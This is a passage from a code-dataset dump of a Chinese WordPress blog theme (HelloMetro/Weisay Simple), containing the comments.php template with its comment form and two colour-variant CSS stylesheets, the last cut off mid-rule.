人人</a>"; ?><?php } ?></div> <div class="clear" style="clear both"></div> <div class="post-author-title">关于本文小编</div> </div> </div> </div> <div class="articles"> <div class="post-author"> <div class="post-author-title">本站其他资源</div> <ul class="maintab_menu"> <li>相关文章</li> <li>为您推荐</li> <li class="current">各种观点</li></ul> <div class="maintab_content"> <div class="mainhide"> <div id="wumiiDisplayDiv" class="wumiidisplay"> </div> </div> <div class="mainhide"> <?php include('includes/related.php'); ?> </div> <div class=""> <?php comments_template(); ?> </div> </div> </div> </div> <?php endwhile; else: ?> <?php endif; ?> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/single.php
PHP
asf20
4,671
<?php // Do not delete these lines if ('comments.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('Please do not load this page directly. Thanks!'); if (!empty($post->post_password)) { // if there's a password if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie ?> <p class="nocomments">必须输入密码,才能查看评论!</p> <?php return; } } /* This variable is for alternating comment background */ $oddcomment = ''; ?> <!-- You can start editing here. --> <?php if ($comments) : ?> <h8 id="comments"><?php the_title(); ?>:目前有<?php comments_number('', '1 条留言', '% 条留言' );?></h8> <ol class="commentlist"> <?php wp_list_comments('type=comment&callback=metro_comment&end-callback=metro_end_comment&max_depth=23'); ?> </ol> <div class="navigation"> <div class="pagination"><?php paginate_comments_links(); ?></div> </div> <?php else : // this is displayed if there are no comments so far ?> <?php if ('open' == $post->comment_status) : ?> <!-- If comments are open, but there are no comments. --> <h6> 暂时还木有人评论,坐等沙发!</h6> <?php else : // comments are closed ?> <!-- If comments are closed. --> <p class="nocomments">报歉!评论已关闭.</p> <?php endif; ?> <?php endif; ?> <?php if ('open' == $post->comment_status) : ?> <div id="respond_box"> <div id="respond"> <h8>发表评论</h8> <div class="cancel-comment-reply"> <div id="real-avatar"> <?php if(isset($_COOKIE['comment_author_email_'.COOKIEHASH])) : ?> <?php echo get_avatar($comment_author_email, 40);?> <?php else :?> <?php global $user_email;?><?php echo get_avatar($user_email, 40); ?> <?php endif;?> </div> <small><?php cancel_comment_reply_link(); ?></small> </div> <?php if ( get_option('comment_registration') && !$user_ID ) : ?> <p><?php print '您必须'; ?><a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>"> [ 登录 ] </a>才能发表留言!</p> <?php else : ?> <form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform"> <?php if ( $user_ID ) : ?> <p><?php print '登录者:'; ?> <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>&nbsp;&nbsp;<a href="<?php echo wp_logout_url(get_permalink()); ?>" title="退出"><?php print '[ 退出 ]'; ?></a></p> <?php elseif ( '' != $comment_author ): ?> <div class="author"><?php printf(__('欢迎回来 <strong>%s</strong>'), $comment_author); ?> <a href="javascript:toggleCommentAuthorInfo();" id="toggle-comment-author-info">[ 更改 ]</a></div> <script type="text/javascript" charset="utf-8"> //<![CDATA[ var changeMsg = "[ 更改 ]"; var closeMsg = "[ 隐藏 ]"; function toggleCommentAuthorInfo() { jQuery('#comment-author-info').slideToggle('slow', function(){ if ( jQuery('#comment-author-info').css('display') == 'none' ) { jQuery('#toggle-comment-author-info').text(changeMsg); } else { jQuery('#toggle-comment-author-info').text(closeMsg); } }); } jQuery(document).ready(function(){ jQuery('#comment-author-info').hide(); }); //]]> </script> <?php endif; ?> <?php if ( ! $user_ID ): ?> <div id="comment-author-info"> <p> <input type="text" name="author" id="author" class="commenttext" value="<?php echo $comment_author; ?>" size="22" tabindex="1" /> <label for="author">昵称<?php if ($req) echo " *"; ?></label> </p> <p> <input type="text" name="email" id="email" class="commenttext" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" /> <label for="email">邮箱<?php if ($req) echo " *"; ?> <a id="Get_Gravatar" title="查看如何申请一个自己的Gravatar全球通用头像" target="_blank" href="http://www.itkes.com/teach-you-to-play-with-gravatar-world-wide-head">(教你设置自己的个性头像)</a></label> </p> <p> <input type="text" name="url" id="url" class="commenttext" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" /> <label for="url">网址</label> </p> </div> <?php endif; ?> <!--<p><small><strong>XHTML:</strong> You can use these tags: <code><?php echo allowed_tags(); ?></code></small></p>--> <div class="clear"></div> <p><?php include(TEMPLATEPATH . '/includes/smiley.php'); ?></p> <p><textarea name="comment" id="comment" tabindex="4" cols="50" rows="5"></textarea></p> <p> <input class="submit" name="submit" type="submit" id="submit" tabindex="5" value="提交留言" /> <input class="reset" name="reset" type="reset" id="reset" tabindex="6" value="<?php esc_attr_e( '重写' ); ?>" /> <?php comment_id_fields(); ?> <span style="padding:0 0 2px 8px">快捷键:Ctrl+Enter</span> </p> <script type="text/javascript"> //Crel+Enter //<![CDATA[ jQuery(document).keypress(function(e){ if(e.ctrlKey && e.which == 13 || e.which == 10) { jQuery(".submit").click(); document.body.focus(); } else if (e.shiftKey && e.which==13 || e.which == 10) { jQuery(".submit").click(); } }) // ]]> </script> <?php do_action('comment_form', $post->ID); ?> </form> <div class="clear"></div> <?php endif; // If registration required and not logged in ?> </div> </div> <?php endif; // if you delete this the sky will fall on your head ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/comments.php
PHP
asf20
5,618
/* Theme Name: Weisay Simple Theme URL: http://www.weisay.com/blog/wordpress-theme-weisay-simple.html Description: 简约而不简单的主题,获得此主题使用帮助<a href="http://www.weisay.com/blog/wordpress-theme-weisay-simple.html">weisay.com</a>。 Author: Weisay Author URI: http://www.weisay.com Tags: weisay,weisaysimple,Simple,威言威语 Version: 1.4 */ * { border: 0; margin: 0; padding: 0; } body {text-shadow:1px 1px #fff; background:#fafafa url(../images/bg.png) repeat; color: #333; font: 13px 微软雅黑,PMingLiU,Verdana,Arial,Helvetica,sans-serif; } ::selection {color: #f50;background: #dcdcdc;} ::-moz-selection {color: #f50;background: #dcdcdc;} h2{font-size:16px;} a:link, a:visited{color: #f50;text-decoration: none;} a:hover{ text-decoration:underline} .clear{clear: both;} #page{ } #header{ background:url(../images/line3.gif) repeat-x bottom;height:112px;} #top{ width:990px;margin: 0 auto;} #top_logo{float:left; height:75px;} .page_menu{ } .page_menu ul{list-style:none; float:left;} .page_menu li {text-shadow:1px 1px #fff; color: #FFFFFF; float: left; padding:8px 10px 0 10px; } .search {margin-top:18px; float:right} #searchform {background:#dadada; border-radius:3px; padding:3px 3px 3px 3px;*padding:2px 3px 4px 3px;} #searchform label {display:none;} #searchform input {width:173px; height:24px; line-height:24px; vertical-align:middle; padding:0 5px;} #searchform button,#searchform #searchsubmit {width:58px; text-align:center; height:26px; line-height:26px; background:#666; margin-left:-4px; border:none; color:#fff; cursor:pointer; vertical-align:middle; text-shadow:1px 1px #333;} .search button:hover {background:#333;} #blogname{ float: left; font-size: 22px; padding-left:10px; margin-top:15px; } #blogname a:link,#blogname a:visited, .article h2 a:link, .article h2 a:visited{color:#222;} .article h2 a:link, .article h2 a:visited{color:#333;} #blogname a:hover, .article h2 a:hover { color:#626262; text-decoration: none; } #blogtitle { padding-top:5px;color:#666; font-size: 13px; font-weight:normal; } .logo { background:url(../images/logo.png) no-repeat; margin-top:15px; width: 185px; height: 50px; margin-left:10px;_margin-left:5px; } .topnav {float: left;width:820px;height: 34px;padding: 0;margin:0 0 3px 10px;_margin:0 0 3px 5px;overflow:hidden;} .topnav li img{_padding-top:11px;} .topnav ul { list-style: none; margin: 0; padding: 0; position: absolute; z-index: 999; } .topnav li { width:90px; height: 34px; float: left; font-weight:bold; position: relative; padding:0 12px 0 0; } .topnav .sub-menu li{padding:0px;} .topnav li a:link, .topnav li a:visited{ width:90px; height: 34px; line-height: 34px; text-align: center; display: block; text-decoration: none; border-bottom: #f50 1px solid; color: #f50; } .topnav li a:hover {color: #d64700;} .topnav ul ul { display: none; position: absolute; top: 34px; left: 0; z-index: 999; width: 90px;} .topnav ul ul li { display: block; background:#fafafa url(../images/bg2.png) repeat; border-top:1px #f50 solid; position: relative;top:1px} .topnav ul ul ul { position: absolute;left: 90px;z-index: 999; width: 90px;} .topnav li.li01 { } .topnav li.li01 a { color: #f50;text-decoration: none;} .topnav li.li01 a:hover {color: #d64700;} .topnav li.li01 li a { color: #f50; } .topnav li.li01 li a:hover { border-bottom:1px #f50 solid;} .topnav li li.li01 a { background:#fafafa url(../images/bg2.png) repeat; color: #f50;text-decoration: none;} .topnav li li.li01 ul{top:-2px} .topnav li li.li01 ul a { color: #f50;} .topnav li li.li01 ul a:hover { border-bottom:1px #f50 solid;} #rss {float:right;border:none} #rss ul{ list-style:none;} #rss ul li{margin:6px 0 0 14px;float:right;} #rss ul li.rssmail{margin-left:0px;} .icon1 {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat top;} .icon1 span.hover {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat bottom;} .icon2 {display:block;width:28px;height:28px;background:url(../images//tqq.gif) no-repeat top;} .icon2 span.hover {display:block;width:28px;height:28px;background:url(../images/tqq.gif) no-repeat bottom;} .icon3 {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat top;} .icon3 span.hover {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat bottom;} .icon4 {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat top;} .icon4 span.hover {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat bottom;} #content{width:990px; margin:0 auto; padding-top:5px} .main{float:left; width:690px;} .main ul li{list-style:none;} .main .post, .main .left{margin-top:18px;} .post_date{ float:left; width:70px;height:72px; position: absolute; border-top:5px #f50 solid; margin-top:22px; } .post_date span {display:block} .post_date .date_m{ text-align:center;font-size:11px;padding-top:5px;font-family:Verdana} .post_date .date_d{ padding-left:3px; text-align:center; font-size:25px; margin-top:-5px; font-family:Georgia, Arial, Tahoma, Geneva; font-weight:bold} .post_date .date_y{text-align:center;font-size:11px;font-family:Verdana} .article{float:right; width:620px;border-bottom:1px #ddd solid; overflow:hidden;} .article li{list-style:none} .articles{float:right; width:620px;border-bottom:1px #ddd solid; padding:10px 0 10px 0;overflow:hidden} .article h2{background:url(../images/line3.gif) repeat-x bottom; height:24px; padding-left:10px;} .articles h3{font-size:15px} .new{margin-left:2px;position:absolute} .thumbnail_box { float: left; width: 140px; height:100px; margin: 17px 10px 8px 15px;_margin: 17px 10px 8px 7px; padding: 4px; border:1px solid #ccc; } .thumbnail img{ position:absolute; z-index:3; } .entry_post{line-height:22px; padding-top:12px;} .more{float:right; font-size:12px; margin:4px 0 8px 0;*margin:-20px 0 8px 0} .info{ float:left;font-size:12px; padding-left:15px; width:515px; overflow:hidden; line-height:20px; height:20px} .article_info{font-size:12px;padding-left:10px; line-height:22px; color:#777} .comments_num{float:right;font-size:12px; background:#dedede;padding:1px 3px 0 3px;line-height:20px; height:20px} .comments_num a:link, .comments_num a:visited{color:#555;text-shadow:1px 1px #eee;} .context{position:relative; width:620px; overflow:hidden;} .context p {padding:5px 0px; margin:0;line-height:22px;} .context h4 {margin:10px 0 5px 0} .context h5 { font-size: 15px; padding:3px 8px; background:#ededed; border:1px #ddd solid; } .context ol {margin-left:20px} .context ol li{line-height:22px} .context p img{margin:0 auto; display:block;} .context blockquote{ padding:5px 20px; margin:0 5px; border:1px solid #ddd; border-left:8px solid #ddd; background-color:#e9e9e9; overflow:auto; } .author_pic{float:left; width:60px;} .author_pic img { padding:3px; background:#ccc; margin-top:8px} .author_pic img:hover {background:#aaa;} .author_text {float:right; width:540px;} .relatedposts{ } .relatedposts ol{padding-top:3px} .relatedposts li{ float:left;display:block; width:308px;height:20px; overflow:hidden; line-height:24px; } .navigation{ margin:9px 0 5px 0; font-size:12px; float:right; text-align:right; } .pagination {line-height:24px;} .inactive {height:22px; width:22px;} .pagination span, .pagination a { width:22px;text-align:center; height:22px;line-height:24px; margin:0px 2px 0px 2px; display:inline-block; text-decoration:none; border:1px #e0e0e0 solid; } .pagination .current{ height:22px; width:22px; color:#333; border:1px #bcbcbc solid; font-weight:bold; background:#f0f0f0; } .pagination a:hover { height:22px; width:22px; color:#333; border:1px #bcbcbc solid; text-decoration: none; } .pagination .page_previous, .pagination .prev{ width:50px; height:22px; text-align:center;} .pagination .page_previous:hover, .pagination .prev:hover{ width:50px; height:22px; text-align:center; } .pagination .page_next, .pagination .next, .pagination .page_next:hover, .pagination .next:hover{ width:50px; height:22px; text-align:center; } .pagination .fir_las, .pagination .fir_las:hover{ width:30px; height:22px; text-align:center; } #sidebar{float:right; width:260px; margin-top:7px} #sidebar li ul { } #sidebar li ul li {} #sidebar li ul.children li,#sidebar li ul.children li ul li { padding-left: 18px; background: url(../images/tier3.gif) 6px 5px no-repeat; } #sidebar h3{font-size:15px;font-weight: bold; background:url(../images/line3.gif) repeat-x bottom;line-height:30px; height:30px; margin:5px 0 8px 0;} #sidebar ul{list-style:none} .widget ul{ padding:1px 0 1px 0;} .widget ul li{line-height:22px} #tab-title .selected{color:#f00;font-weight:bold} #tab-title span{ padding:0 22px 8px 0; cursor:pointer;} #tab-content .hide{display:none;} #tab-content ul{overflow:hidden;list-style:none} #tab-content ul li{line-height:23px;} .top_comment ul {} .top_comment ul li {list-style:none; display:inline;} .top_comment img.avatar{ width:38px; height:38px; background:#e3e3e3; border: 1px solid #e3e3e3; padding:3px;margin:3px;} .top_comment img.avatar:hover{background:#d0d0d0;} #loginform p {line-height:25px} input,textarea,button {outline:none;} .article input{border:1px solid #ddd;padding:2px; margin:2px} #loginform input.login{ width:120px; padding:2px; background:#fff; color:#444; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #loginform input.denglu{ background:#f0f0f0; width:66px; height:23px; color: #444; text-align:center; margin-top:8px; border:1px solid #ddd; } #loginform input:focus { border: 1px solid #ccc; } .r_comment { } .r_comment ul { list-style-type:none; } .r_comment li { line-height:22px; clear:both; } .r_comment ul li img.avatar { height:32px; float:left; padding:3px; margin:4px 4px 0 0; background:#fff; border: 1px solid #ddd; } .v-links{overflow:hidden; } .v-links li{ float:left; display:block; width:128px; height:20px; overflow:hidden; } .v_avatar{ float: left; width:70px; margin-left: 18px } .v_avatar img { padding:6px; background:#e3e3e3; border: 1px solid #e3e3e3; } .v_li{ float:right; width:135px; line-height:19px; list-style:none; } .articles_all{line-height:30px} .car-collapse .car-yearmonth { cursor: s-resize; } a.car-toggler{line-height:30px; font-size:14px; color:#c30} .car-list li{list-style:none; line-height:24px} .car-list li ul{padding-left:30px} .car-plus, .car-minus {width:15px; display:block; float:left;font-family:Courier New, Lucida Console, MS Gothic, MS Mincho;} .weisaylink, .linkstandard {list-style:none;} .weisaylink ul ul, .linkstandard ul{ list-style:none; line-height:24px } .weisaylink ul ul li{float:left;height:28px;width:25%;overflow:hidden;} .weisaylink ul li h2, .linkstandard h2{ clear:both; font-size:15px} .v_comment{ } .v_comment ul{ padding-top:14px} .v_comment ul li{list-style-type:none;display:inline;} .v_comment img{ height:36px; height:36px; float:left; padding:1px; margin:2px; border: 1px solid #ddd; } .v_comment img:hover{border: 1px solid #ccc; -webkit-animation: comm 1.1s ease-in infinite; box-shadow:0 0 2px rgba(0,158,224,0.9); -moz-box-shadow:0 0 2px rgba(0,158,224,0.9); -webkit-box-shadow:0 0 2px rgba(0,158,224,0.9); } @-webkit-keyframes comm{ 0% { -webkit-box-shadow: 0 0 7px rgba(0,158,224,0.9); } 100% { -webkit-box-shadow: 0 0 2px rgba(0,158,224,0.9); } } /** 文章评论 **/ .commentlist {} .commentlist .comment { list-style: none; border-top:1px solid #ddd; } .commentlist li.comment ul.children {margin-left:20px;} .commentlist .depth-1{ margin: 10px 0 10px 0;} .commentlist li { position: relative; } .commentlist .alt { } .commentlist .comment-body {padding:5px 0 5px 0} .commentlist .comment-body:hover {background:#fafafa url(../images/bg2.png) repeat;} .commentlist p { margin: 5px 0 5px 50px; line-height:22px; } .reply { } .reply a:link, .reply a:visited{ text-align:center; font-size:12px;} .datetime { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } .commentmetadata { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } ol.commentlist li div.vcard img.avatar { width:40px; height:40px; position:relative; float: left; margin: 4px 6px 0 0; padding: 2px; border:1px solid #ddd; background: #fff; } ol.commentlist li div.floor{ float:right;color:#bbb} #respond { padding:5px 10px 10px; overflow:hidden; } #respond_box { clear:both;border-top:1px solid #ddd;} #respond h3 { margin:5px 0 6px 0;} #comment {background:#fff url(../images/comment.gif) no-repeat center;} #commentform p { color: #333; } #commentform label { color: #868686; } #commentform input { border:1px solid #ddd; width: 160px; margin: 4px 5px 4px 0; padding: 3px; box-shadow:inset 2px 3px 5px #eee; } #commentform input:focus { border: 1px solid #ccc; } #commentform textarea { width: 72%; height: 120px; font-size:13px; padding:4px; margin:4px 0 0 0; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #commentform textarea:focus { border: 1px solid #ccc; } #commentform input#submit, #commentform input#reset{ width:87px; height:26px; color: #393939; text-align:center; text-shadow: 0px 1px 0px #fff; margin-top:8px; border:1px solid #ddd; } #commentform #submit:hover, #commentform #reset:hover { font-weight:bold; } #real-avatar .avatar{ float:right; padding:2px; border:1px solid #ddd; background: #fff; margin-right:20px;_margin-right:10px; } /** IE6抖动 **/ html body { _background-attachment:fixed; } /** 翻屏 **/ #roll_top,#fall{ position:relative; cursor:pointer; height:93px; width:11px; } #ct{ position:relative; cursor:pointer; height:53px; width:11px; } #roll_top { background:url(../images/roll.png) no-repeat; } #fall { background:url(../images/roll.png) no-repeat 0 -146px; } #ct { background:url(../images/roll.png) no-repeat 0 -93px; } #roll { display:block; width:15px; margin-right:-224px; position:fixed; right:50%; top:33%; _margin-right:-224px; _position:absolute; _margin-top:180px; _top:expression(eval(document.documentElement.scrollTop)); } /** 底部 **/ #footer{text-align:center; height:40px;background:url(../images/line3.gif) repeat-x top; padding-top:20px; font-size:12px; margin-top:5px; color:#777} #footer a:link, #footer a:visited{ color:#777}
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/css/t-orange.css
CSS
asf20
14,504
/* Theme Name: Weisay Simple Theme URL: http://www.weisay.com/blog/wordpress-theme-weisay-simple.html Description: 简约而不简单的主题,获得此主题使用帮助<a href="http://www.weisay.com/blog/wordpress-theme-weisay-simple.html">weisay.com</a>。 Author: Weisay Author URI: http://www.weisay.com Tags: weisay,weisaysimple,Simple,威言威语 Version: 1.4 */ * { border: 0; margin: 0; padding: 0; } body {text-shadow:1px 1px #fff; background:#fafafa url(../images/bg.png) repeat; color: #333; font: 13px 微软雅黑,PMingLiU,Verdana,Arial,Helvetica,sans-serif; } ::selection {color: #8200a7;background: #dcdcdc;} ::-moz-selection {color: #8200a7;background: #dcdcdc;} h2{font-size:16px;} a:link, a:visited{color: #8200a7;text-decoration: none;} a:hover{ text-decoration:underline} .clear{clear: both;} #page{ } #header{ background:url(../images/line2.gif) repeat-x bottom;height:112px;} #top{ width:990px;margin: 0 auto;} #top_logo{float:left; height:75px;} .page_menu{ } .page_menu ul{list-style:none; float:left;} .page_menu li {text-shadow:1px 1px #fff; color: #FFFFFF; float: left; padding:8px 10px 0 10px; } .search {margin-top:18px; float:right} #searchform {background:#dadada; border-radius:3px; padding:3px 3px 3px 3px;*padding:2px 3px 4px 3px;} #searchform label {display:none;} #searchform input {width:173px; height:24px; line-height:24px; vertical-align:middle; padding:0 5px;} #searchform button,#searchform #searchsubmit {width:58px; text-align:center; height:26px; line-height:26px; background:#666; margin-left:-4px; border:none; color:#fff; cursor:pointer; vertical-align:middle; text-shadow:1px 1px #333;} .search button:hover {background:#333;} #blogname{ float: left; font-size: 22px; padding-left:10px; margin-top:15px; } #blogname a:link,#blogname a:visited, .article h2 a:link, .article h2 a:visited{color:#222;} .article h2 a:link, .article h2 a:visited{color:#333;} #blogname a:hover, .article h2 a:hover { color:#626262; text-decoration: none; } #blogtitle { padding-top:5px;color:#666; font-size: 13px; font-weight:normal; } .logo { background:url(../images/logo.png) no-repeat; margin-top:15px; width: 185px; height: 50px; margin-left:10px;_margin-left:5px; } .topnav {float: left;width:820px;height: 34px;padding: 0;margin:0 0 3px 10px;_margin:0 0 3px 5px;overflow:hidden;} .topnav li img{_padding-top:11px;} .topnav ul { list-style: none; margin: 0; padding: 0; position: absolute; z-index: 999; } .topnav li { width:90px; height: 34px; float: left; font-weight:bold; position: relative; padding:0 12px 0 0; } .topnav .sub-menu li{padding:0px;} .topnav li a:link, .topnav li a:visited{ width:90px; height: 34px; line-height: 34px; text-align: center; display: block; text-decoration: none; border-bottom: #8200a7 1px solid; color: #8200a7; } .topnav li a:hover {color: #56006f;} .topnav ul ul { display: none; position: absolute; top: 34px; left: 0; z-index: 999; width: 90px;} .topnav ul ul li { display: block; background:#fafafa url(../images/bg2.png) repeat; border-top:1px #8200a7 solid; position: relative;top:1px} .topnav ul ul ul { position: absolute;left: 90px;z-index: 999; width: 90px;} .topnav li.li01 { } .topnav li.li01 a { color: #8200a7;text-decoration: none;} .topnav li.li01 a:hover {color: #56006f;} .topnav li.li01 li a { color: #8200a7; } .topnav li.li01 li a:hover { border-bottom:1px #8200a7 solid;} .topnav li li.li01 a { background:#fafafa url(../images/bg2.png) repeat; color: #8200a7;text-decoration: none;} .topnav li li.li01 ul{top:-2px} .topnav li li.li01 ul a { color: #8200a7;} .topnav li li.li01 ul a:hover { border-bottom:1px #8200a7 solid;} #rss {float:right;border:none;} #rss ul{ list-style:none;} #rss ul li{margin:6px 0 0 14px;float:right;} #rss ul li.rssmail{margin-left:0px;} .icon1 {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat top;} .icon1 span.hover {display:block;width:28px;height:28px;background:url(../images/rss.gif) no-repeat bottom;} .icon2 {display:block;width:28px;height:28px;background:url(../images//tqq.gif) no-repeat top;} .icon2 span.hover {display:block;width:28px;height:28px;background:url(../images/tqq.gif) no-repeat bottom;} .icon3 {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat top;} .icon3 span.hover {display:block;width:28px;height:28px;background:url(../images/tsina.gif) no-repeat bottom;} .icon4 {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat top;} .icon4 span.hover {display:block;width:28px;height:28px;background:url(../images/rssmail.gif) no-repeat bottom;} #content{width:990px; margin:0 auto; padding-top:5px} .main{float:left; width:690px;} .main ul li{list-style:none;} .main .post, .main .left{margin-top:18px;} .post_date{ float:left; width:70px;height:72px; position: absolute; border-top:5px #8200a7 solid; margin-top:22px; } .post_date span {display:block} .post_date .date_m{ text-align:center;font-size:11px;padding-top:5px;font-family:Verdana} .post_date .date_d{ padding-left:3px; text-align:center; font-size:25px; margin-top:-5px; font-family:Georgia, Arial, Tahoma, Geneva; font-weight:bold} .post_date .date_y{text-align:center;font-size:11px;font-family:Verdana} .article{float:right; width:620px;border-bottom:1px #ddd solid; overflow:hidden;} .article li{list-style:none} .articles{float:right; width:620px;border-bottom:1px #ddd solid; padding:10px 0 10px 0;overflow:hidden} .article h2{background:url(../images/line2.gif) repeat-x bottom; height:24px; padding-left:10px;} .articles h3{font-size:15px} .new{margin-left:2px;position:absolute} .thumbnail_box { float: left; width: 140px; height:100px; margin: 17px 10px 8px 15px;_margin: 17px 10px 8px 7px; padding: 4px; border:1px solid #ccc; } .thumbnail img{ position:absolute; z-index:3; } .entry_post{line-height:22px; padding-top:12px;} .more{float:right; font-size:12px; margin:4px 0 8px 0;*margin:-20px 0 8px 0} .info{ float:left;font-size:12px; padding-left:15px; width:515px; overflow:hidden; line-height:20px; height:20px} .article_info{font-size:12px;padding-left:10px; line-height:22px; color:#777} .comments_num{float:right;font-size:12px; background:#dedede;padding:1px 3px 0 3px;line-height:20px; height:20px} .comments_num a:link, .comments_num a:visited{color:#555;text-shadow:1px 1px #eee;} .context{position:relative; width:620px; overflow:hidden;} .context p {padding:5px 0px; margin:0;line-height:22px;} .context h4 {margin:10px 0 5px 0} .context h5 { font-size: 15px; padding:3px 8px; background:#ededed; border:1px #ddd solid; } .context ol {margin-left:20px} .context ol li{line-height:22px} .context p img{margin:0 auto; display:block;} .context blockquote{ padding:5px 20px; margin:0 5px; border:1px solid #ddd; border-left:8px solid #ddd; background-color:#e9e9e9; overflow:auto; } .author_pic{float:left; width:60px;} .author_pic img { padding:3px; background:#ccc; margin-top:8px} .author_pic img:hover {background:#aaa;} .author_text {float:right; width:540px;} .relatedposts{ } .relatedposts ol{padding-top:3px} .relatedposts li{ float:left;display:block; width:308px;height:20px; overflow:hidden; line-height:24px; } .navigation{ margin:9px 0 5px 0; font-size:12px; float:right; text-align:right; } .pagination {line-height:24px;} .inactive {height:22px; width:22px;} .pagination span, .pagination a { width:22px;text-align:center; height:22px;line-height:24px; margin:0px 2px 0px 2px; display:inline-block; text-decoration:none; border:1px #e0e0e0 solid; } .pagination .current{ height:22px; width:22px; color:#333; border:1px #bcbcbc solid; font-weight:bold; background:#f0f0f0; } .pagination a:hover { height:22px; width:22px; color:#333; border:1px #bcbcbc solid; text-decoration: none; } .pagination .page_previous, .pagination .prev{ width:50px; height:22px; text-align:center;} .pagination .page_previous:hover, .pagination .prev:hover{ width:50px; height:22px; text-align:center; } .pagination .page_next, .pagination .next, .pagination .page_next:hover, .pagination .next:hover{ width:50px; height:22px; text-align:center; } .pagination .fir_las, .pagination .fir_las:hover{ width:30px; height:22px; text-align:center; } #sidebar{float:right; width:260px; margin-top:7px} #sidebar li ul { } #sidebar li ul li {} #sidebar li ul.children li,#sidebar li ul.children li ul li { padding-left: 18px; background: url(../images/tier2.gif) 6px 5px no-repeat; } #sidebar h3{font-size:15px;font-weight: bold; background:url(../images/line2.gif) repeat-x bottom;line-height:30px; height:30px; margin:5px 0 8px 0;} #sidebar ul{list-style:none} .widget ul{ padding:1px 0 1px 0;} .widget ul li{line-height:22px} #tab-title .selected{color:#f00;font-weight:bold} #tab-title span{ padding:0 22px 8px 0; cursor:pointer;} #tab-content .hide{display:none;} #tab-content ul{overflow:hidden;list-style:none} #tab-content ul li{line-height:23px;} .top_comment ul {} .top_comment ul li {list-style:none; display:inline;} .top_comment img.avatar{ width:38px; height:38px; background:#e3e3e3; border: 1px solid #e3e3e3; padding:3px;margin:3px;} .top_comment img.avatar:hover{background:#d0d0d0;} #loginform p {line-height:25px} input,textarea,button {outline:none;} .article input{border:1px solid #ddd;padding:2px; margin:2px} #loginform input.login{ width:120px; padding:2px; background:#fff; color:#444; border:1px solid #ddd; box-shadow:inset 2px 3px 5px #eee; } #loginform input.denglu{ background:#f0f0f0; width:66px; height:23px; color: #444; text-align:center; margin-top:8px; border:1px solid #ddd; } #loginform input:focus { border: 1px solid #ccc; } .r_comment { } .r_comment ul { list-style-type:none; } .r_comment li { line-height:22px; clear:both; } .r_comment ul li img.avatar { height:32px; float:left; padding:3px; margin:4px 4px 0 0; background:#fff; border: 1px solid #ddd; } .v-links{overflow:hidden; } .v-links li{ float:left; display:block; width:128px; height:20px; overflow:hidden; } .v_avatar{ float: left; width:70px; margin-left: 18px } .v_avatar img { padding:6px; background:#e3e3e3; border: 1px solid #e3e3e3; } .v_li{ float:right; width:135px; line-height:19px; list-style:none; } .articles_all{line-height:30px} .car-collapse .car-yearmonth { cursor: s-resize; } a.car-toggler{line-height:30px; font-size:14px; color:#c30} .car-list li{list-style:none; line-height:24px} .car-list li ul{padding-left:30px} .car-plus, .car-minus {width:15px; display:block; float:left;font-family:Courier New, Lucida Console, MS Gothic, MS Mincho;} .weisaylink, .linkstandard {list-style:none;} .weisaylink ul ul, .linkstandard ul{ list-style:none; line-height:24px } .weisaylink ul ul li{float:left;height:28px;width:25%;overflow:hidden;} .weisaylink ul li h2, .linkstandard h2{ clear:both; font-size:15px} .v_comment{ } .v_comment ul{ padding-top:14px} .v_comment ul li{list-style-type:none;display:inline;} .v_comment img{ height:36px; height:36px; float:left; padding:1px; margin:2px; border: 1px solid #ddd; } .v_comment img:hover{border: 1px solid #ccc; -webkit-animation: comm 1.1s ease-in infinite; box-shadow:0 0 2px rgba(0,158,224,0.9); -moz-box-shadow:0 0 2px rgba(0,158,224,0.9); -webkit-box-shadow:0 0 2px rgba(0,158,224,0.9); } @-webkit-keyframes comm{ 0% { -webkit-box-shadow: 0 0 7px rgba(0,158,224,0.9); } 100% { -webkit-box-shadow: 0 0 2px rgba(0,158,224,0.9); } } /** 文章评论 **/ .commentlist {} .commentlist .comment { list-style: none; border-top:1px solid #ddd; } .commentlist li.comment ul.children {margin-left:20px;} .commentlist .depth-1{ margin: 10px 0 10px 0;} .commentlist li { position: relative; } .commentlist .alt { } .commentlist .comment-body {padding:5px 0 5px 0} .commentlist .comment-body:hover {background:#fafafa url(../images/bg2.png) repeat;} .commentlist p { margin: 5px 0 5px 50px; line-height:22px; } .reply { } .reply a:link, .reply a:visited{ text-align:center; font-size:12px;} .datetime { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } .commentmetadata { font-size:12px; color:#aaa; text-shadow: 0px 1px 0px #fff; margin-left:50px; } ol.commentlist li div.vcard img.avatar { width:40px; height:40px; position:relative; float: left; margin: 4px 6px 0 0; padding: 2px; border:1px solid #ddd; background: #fff; } ol.commentlist li div.floor{ float:right;color:#bbb} #respond { padding:5px 10px 10px; overflow:hidden; } #respond_box { clear:both;border-top:1px solid #ddd;} #respond h3 { margin:5px 0 6px 0;} #comment {background:#fff url(../images/comment.gif) no-repeat center;} #commentform p { color: #333; } #commentform label { color: #868686; } #commentform input { border:1px solid #ddd; width: 160px; margin: 4px 5px 4px 0; padding: 3px; box-shadow:inset 2px 3px 